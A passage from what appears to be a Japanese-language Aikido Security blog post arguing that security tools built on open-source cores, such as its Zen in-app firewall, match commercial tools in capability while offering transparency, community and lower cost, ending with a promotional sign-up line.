オープンソースのプロジェクトに基づいて構築された商用ツールであることが非常に多い。例えば、Zen byAikido、実行時に脅威を阻止するように設計されたフル機能のアプリ内ファイアウォールである。オープンソースのAikidoZenをベースにしているため、オープンソースの同等製品よりもランタイムの脅威を検知して阻止する能力に優れているかというと、そうでもない。エンタープライズ・バージョンの価値は、分析、ルール作成、 特定の脅威に対するより深い理解、導入の容易さといった追加機能にあり、オープンソース・バージョンを企業で使用する場合はすべて自分で構築する必要がある。つまり、オープンソースが必ずしも悪いわけではなく、トリアージの次の段階が欠けているだけなのだ。

注：発見された脆弱性に対するツールのベンチマークも非常に厄介な場合がある。優れたセキュリティ・ツールは、文脈に基づいて誤検知を取り除くのに長けているため、発見する脆弱性が少ないかもしれません。そのため、優れたツールが常に最も多くの脆弱性を発見するとは限りません。

企業向けに構築されたオープンソースを採用

オープンソースは開発しすぎで、コマーシャルは高すぎる。オープンソースをコアにしたフル機能のツールは新しいコンセプトではない。世界で最も成功しているセキュリティ製品の中には、Hashicorp Vault、Elastic Security、Metaploitなど、オープンソースをコアに使っているものがある。これらのツールがうまくいっている理由はたくさんあるが、おそらくあなたが考えているような理由ではないだろう。

費用対効果

オープンソースを利用したツールは、代替の商用ツールと競争する必要があるだけでなく、そのオープンソースベースとも競争しなければならない。つまり、その価値は証明され、透明でなければならない。

コミュニティの力

多くの場合、オープンソースのツールは営利企業によって保守・構築されている。 Aikido Zen.オープンソースをベースとするツールは、単に開発時間を短縮するためだけでなく、創業者がオープンソースの力を根本的に信じているからである。オープンソースのツールは、その背後にコミュニティがあるため、機能構築のスピードが速いことが多く、また、特定のニッチな問題がある場合、それを自分でツールに導入できることも意味します。

透明性

市販の工具を買うのは、エンジンを見ずに車を買うようなものだ。長期的に見て、どの程度の性能と信頼性があるのだろうか？誰かがエンジンを覗き見ることができなければ、弱点を隠すのは簡単だ。オープンソースのツールはエンジンを隠すことができないので、ツール自体に自信を持ちやすい。

商業的特徴

前述したように、オープンソースのツールは、しばしば商用ツールやオープンソースツールの両方と競合するため、その追加機能の背後に堂々と立つ必要があります。これは、あなたが商用ツールから期待するすべてのものを意味しますが、多くの場合、かなり多くを意味します。製品は十分に定義されたオープンソースベースの恩恵を受けているため、最終的にエンドユーザーに還元される改良に注意を払うことができる。

では、私は何を選ぶのか（最終的な考え）

これまで、オープンソース、商用、オープンソースを利用したセキュリティツールの利点について議論してきました。私の口調から明らかなように、筆者としてオープンソースコミュニティが大好きであり、オープンソースで動くツールは機能に妥協することなく価格に妥協していると信じている。もちろん、純粋な商用版の方が優れているシナリオがあるにもかかわらず、その理由がないと言うのは馬鹿げている。世の中には、完全にクローズドソースの素晴らしい革新的なソリューションもある。しかし、私が最終的に言いたいのは、何かがオープンソースプロジェクトに基づいているからといって、能力や機能が妥協されるわけではないということだ。また、完全な透明性の中でその価値を証明する必要があるため、より深い機能や価値を提供することが多い。

Aikido セキュリティは、開発者が開発者のためにセキュリティを実現するために作成されました。私たちはオープンソースの伝統に誇りを持っています。

Aikido セキュリティを無料で始める